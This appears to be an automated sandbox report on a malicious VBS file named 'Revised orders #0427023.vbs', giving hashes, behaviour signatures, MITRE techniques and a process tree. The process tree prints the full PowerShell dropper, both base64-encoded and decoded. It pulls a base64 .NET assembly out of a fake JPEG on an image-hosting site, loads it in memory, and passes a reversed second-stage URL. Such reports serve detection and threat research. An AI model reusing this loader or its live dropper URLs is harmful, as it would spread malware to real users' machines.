41bb5c0cc646087944c987764fd0a1b451ba18347ac681a0feb690aba29b32e5

General

Target

Revised orders #0427023.vbs
Size

356KB
MD5

63285d30ad5f668be67527ec6769bbd0
SHA1

0ff62ee4448ba44ec1e533a675f1c87dd69be077
SHA256

41bb5c0cc646087944c987764fd0a1b451ba18347ac681a0feb690aba29b32e5
SHA512

3f44c6101829eb1437d40ba282376ac5ebff58731caada1a9089e459bf27f862346979725e050f4a4bb9400e677b6ae553619df5d9d2a7b8882cca1e95727e97
SSDEEP

6144:7nDNa39lLUUxHUUd05brxi0wOLF5t0sRv11rUUUUOhCfktA5RMZGByJ:3Na39lLUUxHUUd05brxi0wOLF5t0sRvQ

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	4388	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4076	powershell.exe
4076	powershell.exe
4388	powershell.exe
4388	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4944 wrote to memory of 4076	4944	WScript.exe	85
PID 4944 wrote to memory of 4076	4944	WScript.exe	85
PID 4076 wrote to memory of 4388	4076	powershell.exe	88
PID 4076 wrote to memory of 4388	4076	powershell.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised orders #0427023.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA1ADYAMwAvADYAMgAxAC8AbwByAGkAZwBpAG4AYQBsAC8AdQBuAGkAdgBlAHIAcwBvAF8AdgBiAHMALgBqAHAAZQBnAD8AMQA2ADkAMAA5ADMAMQA4ADUANQAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBGAGkAYgBlAHIALgBIAG8AbQBlACcAKQA7ACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAALAAoACcAdAB4AHQALgBrAHIAbwB3AC8AbQBvAGMALgBvAGMAcAB1AG8AcgBnAGEAYQB0AG8AbQBsAGEALgB3AHcAdwAvAC8AOgBwAHQAdABoACcAKQA7ACQAbQBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABhAHIAZwB1AG0AZQBuAHQAcwApAA=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64String( $codigo))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.krow/moc.ocpuorgaatomla.www//:ptth');$method.Invoke($null, $arguments)"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mx2rujt1.lzc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4076-5-0x0000025E31570000-0x0000025E31592000-memory.dmp

Filesize
136KB

Download
memory/4076-10-0x00007FFD9A220000-0x00007FFD9ACE1000-memory.dmp

Filesize
10.8MB

Download
memory/4076-11-0x0000025E31800000-0x0000025E31810000-memory.dmp

Filesize
64KB

Download
memory/4076-12-0x0000025E31800000-0x0000025E31810000-memory.dmp

Filesize
64KB

Download
memory/4076-30-0x00007FFD9A220000-0x00007FFD9ACE1000-memory.dmp

Filesize
10.8MB

Download
memory/4388-22-0x00007FFD9A220000-0x00007FFD9ACE1000-memory.dmp

Filesize
10.8MB

Download
memory/4388-23-0x0000025B9A940000-0x0000025B9A950000-memory.dmp

Filesize
64KB

Download
memory/4388-26-0x00007FFD9A220000-0x00007FFD9ACE1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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